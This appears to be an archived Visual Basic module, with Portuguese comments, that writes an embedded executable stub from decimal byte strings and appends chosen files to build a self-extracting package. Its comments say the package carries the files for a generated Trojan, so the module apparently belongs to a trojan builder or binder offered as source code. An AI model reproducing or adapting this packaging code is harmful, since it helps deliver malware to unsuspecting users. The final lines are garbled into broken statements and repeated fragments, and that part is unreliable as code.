home *** CD-ROM | disk | FTP | other *** search
/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 1_2002.ISO / Data / Zips / CODE_UPLOAD7512772000.psc / make.bas < prev   
Encoding:
BASIC Source File  |  1999-05-26  |  27.5 KB  |  428 lines
  1. Attribute VB_Name = "MakeSetupModule"
  2. Option Explicit
  3.  
  4. Public Sub MakeSetup()
  5.    On Error Resume Next
  6.    
  7.    ' Variaveis
  8.    Dim lErro As Boolean
  9.    Dim nLoop As Long
  10.    
  11.    ' Elimina Arquivo Antigo
  12.    SetAttr cNomeProjeto, vbNormal
  13.    Kill cNomeProjeto
  14.       
  15.    Open cNomeProjeto For Binary Access Write As #1
  16.       
  17.       '
  18.       ' Gerador de Setup - Cria um Arquivo Self-Extract
  19.       ' Contendo os arquivos necessarios para a execucao
  20.       ' do Trojan Gerado
  21.       '
  22.  
  23.       GeraEXESetup "077090002001001000000000004000000000255255000000184000000000"
  24.       GeraEXESetup "000000000000064000000000000000000000000000000000000000000000"
  25.       GeraEXESetup "000000000000000000000000000000000000000000000000000000000000"
  26.       GeraEXESetup "128000000000014031186014000180009205033184001076205033084104"
  27.       GeraEXESetup "105115032112114111103114097109032114101113117105114101115032"
  28.       GeraEXESetup "077105099114111115111102116032087105110100111119115046013010"
  29.       GeraEXESetup "036000000000000000000000078069005050165000001000000000000000"
  30.       GeraEXESetup "002003002000000004000040026000001000000000002000002000003000"
  31.       GeraEXESetup "014000064000080000130000140000146000038001000000000000004000"
  32.       GeraEXESetup "000000002008022000044001000000010003024000182014080029182014"
  33.       GeraEXESetup "020001176002081012176002004000014128001000000000000000066001"
  34.       GeraEXESetup "002000048028044000000000000000003128001000000000000000068001"
  35.       GeraEXESetup "047000048028001128000000000000000000005083069084085080006083"
  36.       GeraEXESetup "069076070069088000000000001000008000013000000006075069082078"
  37.       GeraEXESetup "069076004085083069082005083072069076076000010083069076070069"
  38.       GeraEXESetup "088046101120101000000000000000000000000000000000000000000000"
  39.       GeraEXESetup "000000000000000000000000000000000000000000000000000000000000"
  40.       GeraEXESetup "000000000000000000000000000000000000000000000000000000000000"
  41.       GeraEXESetup "000000000000000000000000000000000000000000000000000000000000"
  42.       GeraEXESetup "000000000000000000000000000000000000000000000000000000000000"
  43.       GeraEXESetup "255255176255080154221001105014051237085154255255000000011192"
  44.       GeraEXESetup "116236140006070000129193000001114226137014016000137054018000"
  45.       GeraEXESetup "137062020000137030022000140006024000137022026000154255255000"
  46.       GeraEXESetup "000134196163072000180048046247006016000001000116007154255255"
  47.       GeraEXESetup "000000235002205033163076000134196163074000046247006016000001"
  48.       GeraEXESetup "000117005176000162079000051192080154255255000000255054020000"
  49.       GeraEXESetup "154255255000000011192116129154240000024000154212002148000154"
  50.       GeraEXESetup "086004153000232009010255054132000255054130000255054128000154"
  51.       GeraEXESetup "196000158000131196006080154207001178000184021000233040004000"
  52.       GeraEXESetup "140216144069085139236030142216255054020000255054018000255054"
  53.       GeraEXESetup "024000255054022000255054026000154088014187000131237002139229"
  54.       GeraEXESetup "031093077203140216144069085139236030142216184000053046247006"
  55.       GeraEXESetup "016000001000116007154094000000000235002205033137030050000140"
  56.       GeraEXESetup "006052000014031184000037186230004046247006016000001000116007"
  57.       GeraEXESetup "154007001000000235002205033022031139014200000227041142006070"
  58.       GeraEXESetup "000038139054044000161202000139022204000051219255030198000115"
  59.       GeraEXESetup "003233122001161206000139022208000187003000255030198000142006"
  60.       GeraEXESetup "070000038139014044000227062142193051255038128061000116052185"
  61.       GeraEXESetup "013000190036000243166116011185255127051192242174117033235229"
  62.       GeraEXESetup "006030007031139247191088000177004172044065114013210224146172"
  63.       GeraEXESetup "044065114005010194170235238022031190210000191210000232226000"
  64.       GeraEXESetup "190210000191210000232217000190210000191210000232208000131237"
  65.       GeraEXESetup "002139229031093077203140216144069085139236030142216051201235"
  66.       GeraEXESetup "047140216144069085139236030142216185001000235032140216144069"
  67.       GeraEXESetup "085139236030142216086087185000001235015140216144069085139236"
  68.       GeraEXESetup "030142216086087185001001136046141000081010201117028190036002"
  69.       GeraEXESetup "191036002232120000190210000191210000232111000139118006086232"
  70.       GeraEXESetup "126008131196002190210000191210000232092000190210000191210000"
  71.       GeraEXESetup "232083000232039000088010228117023139070006180076046247006016"
  72.       GeraEXESetup "000001000116007154041001000000235002205033095094131237002139"
  73.       GeraEXESetup "229031093077203139014200000227007187002000255030198000030197"
  74.       GeraEXESetup "022050000184000037046247006016000001000116007154090002000000"
  75.       GeraEXESetup "235002205033031195059247115014131239004139005011069002116242"
  76.       GeraEXESetup "255029235238195000140216144069085139236030142216184252000080"
  77.       GeraEXESetup "014232169002184255000080014232161002131237002139229031093077"
  78.       GeraEXESetup "203000184002000233023002143006146000143006148000184004001185"
  79.       GeraEXESetup "008000232189002137022136000163134000082080255054020000082080"
  80.       GeraEXESetup "184004001080154243011000000091007003216038198007000186001000"
  81.       GeraEXESetup "191001000190129000142030070000172060032116251060009116247060"
  82.       GeraEXESetup "013116111010192116107071078172060032116232060009116228060013"
  83.       GeraEXESetup "116092010192116088060034116036060092116003066235228051201065"
  84.       GeraEXESetup "172060092116250060034116004003209235211139193209233019209168"
  85.       GeraEXESetup "001117202235001078172060013116043010192116039060034116186060"
  86.       GeraEXESetup "092116003066235236051201065172060092116250060034116004003209"
  87.       GeraEXESetup "235219139193209233019209168001117210235151022031137062128000"
  88.       GeraEXESetup "003215071209231003215066128226254043226139196163130000139216"
  89.       GeraEXESetup "003251022007197054134000054137055067067054142030070000190129"
  90.       GeraEXESetup "000235003051192170172060032116251060009116247060013116124010"
  91.       GeraEXESetup "192116120054137063067067078172060032116225060009116221060013"
  92.       GeraEXESetup "116098010192116094060034116039060092116003170235228051201065"
  93.       GeraEXESetup "172060092116250060034116006176092243170235209176092209233243"
  94.       GeraEXESetup "170115006176034170235197078172060013116046010192116042060034"
  95.       GeraEXESetup "116183060092116003170235236051201065172060092116250060034116"
  96.       GeraEXESetup "006176092243170235217176092209233243170115150176034170235205"
  97.       GeraEXESetup "051192170022031199007000000255046146000000140216144069085139"
  98.       GeraEXESetup "236030142216030154255255000000011192116003186000000139218142"
  99.       GeraEXESetup "194051192051246051255185255255011219116014038128062000000000"
  100.       GeraEXESetup "116006242174070174117250139199064036254070139254209230185009"
  101.       GeraEXESetup "000232006001080139198232000001163132000006030007031139207139"
  102.       GeraEXESetup "216051246095073227038139004054059006036000117016081086087191"
  103.       GeraEXESetup "036000185006000243167095094089116005038137063067067172170010"
  104.       GeraEXESetup "192117250226218038137015031131237002139229031093077203022031"
  105.       GeraEXESetup "184003000080080014232185253014232112000014232053000051219011"
  106.       GeraEXESetup "192116029139248184009000128061077117003184015000003248087030"
  107.       GeraEXESetup "007176013185034000242174136093255088083030080154255255000000"
  108.       GeraEXESetup "184255000080154255255000000000140216144069085139236030142216"
  109.       GeraEXESetup "086087030007139086006190218000173059194116016064150116012151"
  110.       GeraEXESetup "051192185255255242174139247235235150095094131237002139229031"
  111.       GeraEXESetup "093077202002000140216144069085139236030142216087131062172000"
  112.       GeraEXESetup "000116031255118006014232176255011192116020146139250051192185"
  113.       GeraEXESetup "255255242174247209073139030082000232027005095131237002139229"
  114.       GeraEXESetup "031093077202002000085139236083006081185000016135014170000081"
  115.       GeraEXESetup "080154184010229000091143006170000089140218011192116004007091"
  116.       GeraEXESetup "235005139193233032255139229093195000114031051192131237002139"
  117.       GeraEXESetup "229031093077203115243080232036000088050228131237002139229031"
  118.       GeraEXESetup "093077203115007232019000184255255153131237002139229031093077"
  119.       GeraEXESetup "203050228232001000203162080000010228117027060034115012060032"
  120.       GeraEXESetup "114004176005235006060019118002176019187150000215152163064000"
  121.       GeraEXESetup "195138196235247000081087246071002001116099232231000139254139"
  122.       GeraEXESetup "004168001116003043200073065065139119004011246116076003206115"
  123.       GeraEXESetup "009051192186240255227048235063022007038161170000061000016116"
  124.       GeraEXESetup "022186000128059208114006209234117248235034131250008114029209"
  125.       GeraEXESetup "226139194072139208003193115002051192247210035194082232046000"
  126.       GeraEXESetup "090115013131250240116005184016000235226249235027139208043087"
  127.       GeraEXESetup "004137071004137127010139119012074137020066003242199004254255"
  128.       GeraEXESetup "137119012095089195139208246071002004116002235081082081083139"
  129.       GeraEXESetup "119006046139030016000051201011210117007247195016000117064065"
  130.       GeraEXESetup "184002000247195001000117003184032000086081082080154255255000"
  131.       GeraEXESetup "000011192116038059198117028086154255255000000011208116018091"
  132.       GeraEXESetup "089090139194246071002004116004074137087254248235010184018000"
  133.       GeraEXESetup "233208253091089090249195087139119010059119012117003139119008"
  134.       GeraEXESetup "173131248254116008139254036254003240235242079079139247095195"
  135.       GeraEXESetup "085139236139215139222140216142192139126006051192185255255242"
  136.       GeraEXESetup "174141117255139126008185255255242174247209043249135254139070"
  137.       GeraEXESetup "006247198001000116002164073209233243165019201243164139243139"
  138.       GeraEXESetup "250093203000085139236139215139222139118008139254140216142192"
  139.       GeraEXESetup "051192185255255242174247209139126006139199168001116002164073"
  140.       GeraEXESetup "209233243165019201243164139243139250093203085139236139215140"
  141.       GeraEXESetup "216142192139126006051192185255255242174247209073145139250093"
  142.       GeraEXESetup "203000233001000000085139236087086139118006051192153051219172"
  143.       GeraEXESetup "060032116251060009116247080060045116004060043117001172060057"
  144.       GeraEXESetup "119031044048114027209227209210139203139250209227209210209227"
  145.       GeraEXESetup "209210003217019215003216131210000235220088060045147117007247"
  146.       GeraEXESetup "216131210000247218094095093203140216144069085139236030142216"
  147.       GeraEXESetup "180057235012140216144069085139236030142216180059139086006046"
  148.       GeraEXESetup "247006016000001000116007154140002000000235002205033233120253"
  149.       GeraEXESetup "140216144069085139236030142216180058139086006046247006016000"
  150.       GeraEXESetup "001000116007154077008000000235002205033115218131248016117213"
  151.       GeraEXESetup "146147138007067060000116010060063116004060042117241178003146"
  152.       GeraEXESetup "249235190000140216144069085139236030142216180025046247006016"
  153.       GeraEXESetup "000001000116007154113008000000235002205033180000064131237002"
  154.       GeraEXESetup "139229031093077203140216144069085139236030142216138086006074"
  155.       GeraEXESetup "180014046247006016000001000116007154174008000000235002205033"
  156.       GeraEXESetup "180025046247006016000001000116007154220008000000235002205033"
  157.       GeraEXESetup "064058070006184255255117001064131237002139229031093077203000"
  158.       GeraEXESetup "140216144069085139236030142216139086006180065046247006016000"
  159.       GeraEXESetup "001000116007154240008000000235002205033233160252140216144069"
  160.       GeraEXESetup "085139236030142216030176079139086006235016140216144069085139"
  161.       GeraEXESetup "236030142216030176078139086010180047046247006016000001000116"
  162.       GeraEXESetup "007154037009000000235002205033180026046247006016000001000116"
  163.       GeraEXESetup "007154094009000000235002205033060078117006139086006139078008"
  164.       GeraEXESetup "138224046247006016000001000116007154114009000000235002205033"
  165.       GeraEXESetup "080159080140194142218139211180026046247006016000001000116007"
  166.       GeraEXESetup "154144009000000235002205033088158088031233033252085139236087"
  167.       GeraEXESetup "086083051255139070008011192125017071139086006247216247218131"
  168.       GeraEXESetup "216000137070008137086006139070012011192125017071139086010247"
  169.       GeraEXESetup "216247218131216000137070012137086010011192117021139078010139"
  170.       GeraEXESetup "070008051210247241139216139070006247241139211235056139216139"
  171.       GeraEXESetup "078010139086008139070006209235209217209234209216011219117244"
  172.       GeraEXESetup "247241139240247102012145139070010247230003209114012059086008"
  173.       GeraEXESetup "119007114006059070006118001078051210150079117007247218247216"
  174.       GeraEXESetup "131218000091094095093202008000085139236139215196126006051192"
  175.       GeraEXESetup "185255255242174247209117001073145139250093203000085139236139"
  176.       GeraEXESetup "215139222030197118010139254140216142192051192185255255242174"
  177.       GeraEXESetup "247209196126006139199116004165073235006168001116002164073209"
  178.       GeraEXESetup "233243165019201243164139243139250031140194093203085139236093"
  179.       GeraEXESetup "195184020000233052250000069085139236030131236002131126006000"
  180.       GeraEXESetup "117005199070006001000184255255080154101011000000184032000080"
  181.       GeraEXESetup "255118006154255255000000137070252184255255080154141011000000"
  182.       GeraEXESetup "131126252000117023161176000011006174000116014255118006255030"
  183.       GeraEXESetup "174000131196002011192117194139070252141102254031093077203144"
  184.       GeraEXESetup "069085139236030131126006000116008255118006154255255000000141"
  185.       GeraEXESetup "102254031093077203069085139236030131236004131126006000117014"
  186.       GeraEXESetup "255118008154184010086011131196002235075144131126008000117016"
  187.       GeraEXESetup "255118006154020011180005131196002051192235053144184255255080"
  188.       GeraEXESetup "154255255000000255118006131126008000116006139070008235004144"
  189.       GeraEXESetup "184001000080184098000080154255255000000137070252184255255080"
  190.       GeraEXESetup "154255255000000139070252141102254031093077203144069085139236"
  191.       GeraEXESetup "030255118006154255255000000141102254031093077203200104033000"
  192.       GeraEXESetup "087086139118008050192136070230136134216254255118010086154086"
  193.       GeraEXESetup "010223011131196004011192116020255118010086141134216254022080"
  194.       GeraEXESetup "154112010009012131196008235017255118006141134216254022080104"
  195.       GeraEXESetup "255000154255255000000106067154255255000000136070255152045064"
  196.       GeraEXESetup "000080154194008018012091104178000154038008027012091104178000"
  197.       GeraEXESetup "154052008062012091011192116003233233001138070255162048002198"
  198.       GeraEXESetup "006049002058198006050002000104178000104048002154064007158012"
  199.       GeraEXESetup "131196004141134216254022080106000154255255000000139248131255"
  200.       GeraEXESetup "255117003233180001080106000104048023106000154255255000000061"
  201.       GeraEXESetup "255255116003233073001059208117003233152001233063001137126244"
  202.       GeraEXESetup "051246235006131254012125008070128186216253032117243198130216"
  203.       GeraEXESetup "253000141134216253080141070216080154128007170012131196004141"
  204.       GeraEXESetup "070230080154178007188012091011192117016141070216080141070230"
  205.       GeraEXESetup "080154128007227012131196004255118244141134216253022080106008"
  206.       GeraEXESetup "154147013000000198134224253000106000104063031141134216253080"
  207.       GeraEXESetup "154206007241012091137070252137086254082080154188009021013139"
  208.       GeraEXESetup "248105199064031153059086254127008124005059070252115001071137"
  209.       GeraEXESetup "126246104048002141134216253080154128007037013131196004104188"
  210.       GeraEXESetup "000141134216253080154064007054013131196004141070216080141142"
  211.       GeraEXESetup "216253081154064007213013131196004141070216022080106000154255"
  212.       GeraEXESetup "255000000137070248064117003233190000190001000139126244057118"
  213.       GeraEXESetup "246124085131126254000124025127007129126252064031118016199070"
  214.       GeraEXESetup "250064031129110252064031131094254000235014139070252137070250"
  215.       GeraEXESetup "043192137070254137070252087141134152222022080255118250154194"
  216.       GeraEXESetup "013000000059070250117114255118248141134152222022080255118250"
  217.       GeraEXESetup "154255255000000070235166255118248154255255000000087141134216"
  218.       GeraEXESetup "253022080106012154255255000000061012000117003233171254141070"
  219.       GeraEXESetup "230080154178007229013091011192116045104048002104112002154128"
  220.       GeraEXESetup "007243013131196004104188000104112002154064007002014131196004"
  221.       GeraEXESetup "141070230080104112002154064007255255131196004235005198006112"
  222.       GeraEXESetup "002000094095201203200044000000141070212080106000104190000154"
  223.       GeraEXESetup "066009050014131196006011192117034141070242080154012009060014"
  224.       GeraEXESetup "091141070242080154012009070014091141070212080154048009083014"
  225.       GeraEXESetup "091011192116232104048002154088008201011091201203200020000000"
  226.       GeraEXESetup "086255118010255118008255118014154176011173014131196006106000"
  227.       GeraEXESetup "106000106000030104112002106000106000030104194000106005154255"
  228.       GeraEXESetup "255000000137070254139240235018141070236022080106000106000106"
  229.       GeraEXESetup "000106000154255255000000086154255255000000011192127228154018"
  230.       GeraEXESetup "014034014051192094201202010000029000002000066011001000000000"
  231.       GeraEXESetup "003001041005001000001000003001073000001000003000003001098004"
  232.       GeraEXESetup "001000131000003001220010001000005000003001129011001000006000"
  233.       GeraEXESetup "003001035011001000007000003001032005001000137000003001165011"
  234.       GeraEXESetup "001000010000003001137000002000005000003001237006001000016000"
  235.       GeraEXESetup "003001251006001000020000003001208010001000023000003001232010"
  236.       GeraEXESetup "001000024000003001128000001000030000003001131014003000020000"
  237.       GeraEXESetup "003001162014001000048000003001249002001000049000005001016000"
  238.       GeraEXESetup "001000178000003001180013001000081000003001205012001000082000"
  239.       GeraEXESetup "003001067013001000083000003001099012001000084000003001076012"
  240.       GeraEXESetup "001000085000003001169013001000086000003001030000001000091000"
  241.       GeraEXESetup "003001250011001000092000003001173009001000102000003001156014"
  242.       GeraEXESetup "002000109000000000000000000000000000000000000000000000000000"
  243.       GeraEXESetup "000000000000000000000000000000000000000000000000000000000000"
  244.       GeraEXESetup "005000000000000000000000000000000000000000000000000000000000"
  245.       GeraEXESetup "000000000000001000255255000000000000095067095070073076069095"
  246.       GeraEXESetup "073078070079061000000000000000000000000000000000000000000000"
  247.       GeraEXESetup "000000000000000000000000000000000000000000002001000000020000"
  248.       GeraEXESetup "020000040000000000000000000000000000000000000000000000000000"
  249.       GeraEXESetup "000000000000193000000000000000000000000000000000000000000000"
  250.       GeraEXESetup "000000000000000000000000000000138000000000000000000000000000"
  251.       GeraEXESetup "000000000000000000000022002002024013009012012012007008022022"
  252.       GeraEXESetup "255002013018002255000016000000000000000000092126115101116117"
  253.       GeraEXESetup "112046116000092000042046042000000000000000000000000000000000"
  254.       GeraEXESetup "000000000000000000060060078077083071062062000000082054048048"
  255.       GeraEXESetup "048013010045032115116097099107032111118101114102108111119013"
  256.       GeraEXESetup "010000003000082054048048051013010045032105110116101103101114"
  257.       GeraEXESetup "032100105118105100101032098121032048013010000009000082054048"
  258.       GeraEXESetup "048057013010045032110111116032101110111117103104032115112097"
  259.       GeraEXESetup "099101032102111114032101110118105114111110109101110116013010"
  260.       GeraEXESetup "000018000082054048049056013010045032117110101120112101099116"
  261.       GeraEXESetup "101100032104101097112032101114114111114013010000020000082054"
  262.       GeraEXESetup "048050048013010045032117110101120112101099116101100032081117"
  263.       GeraEXESetup "105099107087105110032101114114111114013010000008000082054048"
  264.       GeraEXESetup "048056013010045032110111116032101110111117103104032115112097"
  265.       GeraEXESetup "099101032102111114032097114103117109101110116115013010000021"
  266.       GeraEXESetup "000082054048050049013010045032110111032109097105110032112114"
  267.       GeraEXESetup "111099101100117114101013010000252000013010000255000114117110"
  268.       GeraEXESetup "045116105109101032101114114111114032000002000082054048048050"
  269.       GeraEXESetup "013010045032102108111097116105110103045112111105110116032115"
  270.       GeraEXESetup "117112112111114116032110111116032108111097100101100013010000"
  271.       GeraEXESetup "255255255000000000000000000000000000000000000000000000000000"
  272.       GeraEXESetup "000000000000000000000000000000000000000000000000000000000000"
  273.       GeraEXESetup "000000000000000000000000000000000000000000000000000000000000"
  274.       GeraEXESetup "000000000000000000000000000000000000000000000000000000000000"
  275.       GeraEXESetup "000000000000000000000000000000000000000000000000000000000000"
  276.       GeraEXESetup "000000000000000000000000000000000000000000000000000000000000"
  277.       GeraEXESetup "000000000000000000000000000000000000000000000000000000000000"
  278.       GeraEXESetup "000000000000000000000000000000000000000000000000000000000000"
  279.       GeraEXESetup "000000000000000000000000000000000000000000000000000000000000"
  280.       GeraEXESetup "000000000000000000000000000000000000000000001000001000032032"
  281.       GeraEXESetup "016000001000004000232002000000001000000000000000000000000000"
  282.       GeraEXESetup "000000000000040000000000032000000000064000000000001000004000"
  283.       GeraEXESetup "000000000000000002000000000000000000000000000000000000000000"
  284.       GeraEXESetup "000000000000000000000000000000128000000128000000000128128000"
  285.       GeraEXESetup "128000000000128000128000128128000000192192192000128128128000"
  286.       GeraEXESetup "000000255000000255000000000255255000255000000000255000255000"
  287.       GeraEXESetup "255255000000255255255000000000000000000000000000000000000000"
  288.       GeraEXESetup "000000000000000000131051051051051051051051048000000000000000"
  289.       GeraEXESetup "000000143123123123123123123123051000000000000000000000143183"
  290.       GeraEXESetup "183183183183183183051048000000000000000000143123123123123123"
  291.       GeraEXESetup "123123051051000000000000000000143183183183183183183183051051"
  292.       GeraEXESetup "048000000000000000143123123123123123123123051051048000000000"
  293.       GeraEXESetup "000000143183183183183183183183051051048000000000000000143123"
  294.       GeraEXESetup "123123123123123123051051048000000000000000143183183183183183"
  295.       GeraEXESetup "183183051051048000000000000000143123123123123123123123051051"
  296.       GeraEXESetup "048136136128000000131051051051051051051051003051048119119128"
  297.       GeraEXESetup "000008051051063255255255255255048051048255247128000131127051"
  298.       GeraEXESetup "063255255255255255243003048255247128008055247243063255255255"
  299.       GeraEXESetup "255255243048048255247128131127127127051051051051051051051051"
  300.       GeraEXESetup "000255247128003247247243143255255255255255255243048255247128"
  301.       GeraEXESetup "000063127055143136136255248136143255051008247128000003243135"
  302.       GeraEXESetup "143255255255255255255255243015247128000000048135143240000255"
  303.       GeraEXESetup "255068079255240048247128000000000135143017017255246102079255"
  304.       GeraEXESetup "068068247128000000000135143249177255255110111255252228247128"
  305.       GeraEXESetup "000000000135143249145255255102111255252196247128000000000135"
  306.       GeraEXESetup "143255255255255255255255255255247128000000000135136136136136"
  307.       GeraEXESetup "136136136136136136135128000000000135119119119119119119119119"
  308.       GeraEXESetup "119119119128000000000135068068068068068068064000000000000128"
  309.       GeraEXESetup "000000000135068068068068068068071112119007112128000000000135"
  310.       GeraEXESetup "068068068068068068071112119007112128000000000135068068068068"
  311.       GeraEXESetup "068068068068068068068128000000000135119119119119119119119119"
  312.       GeraEXESetup "119119119128000000000136136136136136136136136136136136136128"
  313.       GeraEXESetup "240000007255240000003255240000001255240000000255240000000127"
  314.       GeraEXESetup "240000000063240000000063240000000063240000000063240000000000"
  315.       GeraEXESetup "240000000000240000000000224000000000192000000000128000000000"
  316.       GeraEXESetup "000000000000128000000000192000000000224000000000244000000000"
  317.       GeraEXESetup "252000000000252000000000252000000000252000000000252000000000"
  318.       GeraEXESetup "252000000000252000000000252000000000252000000000252000000000"
  319.       GeraEXESetup "252000000000252000000000000000000000000000000000"
  320.  
  321.       '
  322.       ' Apos isto, deverao ser colocados os arquivos, obedecendo a
  323.       ' seguinte estrutura:
  324.       '
  325.       ' 12 Bytes....8 Bytes.Conteudo do Arquivo (Variavel)
  326.       ' 123456789012        ..............................
  327.       '             12345678
  328.       ' FILENAME.EXT        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  329.       '             99
  330.       '
  331.       ' Obs.:  O Nome do Arquivo e o tamanho do Arquivo, deverao
  332.       '        estar alinhados a esquerda e o restante completado
  333.       '        com espacos. CHR(32)
  334.       '
  335.    
  336.       lErro = False
  337.       lErro = UnirArquivo(cMainEXEFile)
  338.    
  339.       If Not lErro Then
  340.          For nLoop = 0 To SetupFORM.ListFiles.ListCount - 1
  341.              If UCase(SetupFORM.ListFiles.List(nLoop)) <> UCase(cMainEXEFile) Then
  342.                 lErro = UnirArquivo(SetupFORM.ListFiles.List(nLoop))
  343.              
  344.                 If lErro Then
  345.                    Exit For
  346.                 End If
  347.              End If
  348.          Next
  349.       End If
  350.    
  351.    Close #1
  352.  
  353.    ' Encontrou Algum Erro ?
  354.    If lErro Then
  355.       SetAttr cNomeProjeto, vbNormal
  356.       Kill cNomeProjeto
  357.       
  358.       MsgBox "Errors Found in EXE File Creation.", , TITULO_PROGRAMA
  359.    
  360.    Else
  361.       MsgBox "Thanks for Use.  Your File Was Created.", , TITULO_PROGRAMA
  362.    End If
  363. End Sub
  364.  
  365. Private Sub GeraEXESetup(ByVal cString As String)
  366.    ' Variaveis
  367.    Dim nLoop As Long
  368.    
  369.    ' Eventos
  370.    DoEvents
  371.    
  372.    ' Grava String
  373.    For nLoop = 1 To Len(cString) Step 3
  374.        Put #1, , Chr$(Val(Mid$(cString, nLoop, 3)))
  375.    Next
  376. End Sub
  377.  
  378. Private Function UnirArquivo(ByVal cArquivo As String)
  379.    ' Variaveis
  380.    Dim cNomeArquivo As String
  381.    Dim cCaracter As String
  382.    Dim nTamanho As Long
  383.    Dim nBytes As Long
  384.    Dim nLoop As Long
  385.    
  386.    ' Verifica a Existencia do Arquivo
  387.    If Dir(cArquivo) = "" Then
  388.       MsgBox "File " + cArquivo + " Not Found", , TITULO_PROGRAMA
  389.       
  390.       ' Setar Flag
  391.       UnirArquivo = True
  392.       Exit Function
  393.    End If
  394.  
  395.    ' Obtem Somente o Nome do Arquivo
  396.    cNomeArquivo = cArquivo
  397.    
  398.    While Right(cNomeArquivo, 1) <> "\"
  399.       cNomeArquivo = Left(cNomeArquivo, Len(cNomeArquivo) - 1)
  400.    Wend
  401.    
  402.    cNomeArquivo = Right(cArquivo, Len(cArquivo) - Len(cNomeArquivo))
  403.       
  404.    ' Faz a Leitura do Arquivo e Junta ao Programa Inicial
  405.    Put #1, , CStr(Left(Trim(cNomeArquivo) + Space(12), 12))
  406.    
  407.    nTamanho = FileLen(cArquivo)
  408.    Put #1, , CStr(Left(Trim(CStr(nTamanho)) + Space(8), 8))
  409.    
  410.    ' Grava a Estrutura do Arquivo
  411.    Open cArquivo For Binary Access Read As #2
  412.       
  413.       If nTamanho < 1024 Then
  414.          nBytes = nTamanho
  415.       Else
  416.          nBytes = 1024
  417.       End If
  418.       
  419.       Do While nBytes > 0 And Not EOF(2)
  420.          cCaracter "00711212"" T)ho
  421.  <> UCX
  422.      212""1nar 1
  423.  
  424.    ' O143240000
  425.     4  Put #1, , = nTaIf
  426.  ivo) - Len(c6,
  427.       Dox "740000
  428. 960041417aquiv6itu9U5 "7StringArq XXX3, CS nBytXXXXXXXXXXXXXXXXXXXXXXXXXXXlByVal cStr? cStetnTamStetnTamStetnTamStetnTamStetnTamStetnTamStetnTamStetnTamStetnTamStetn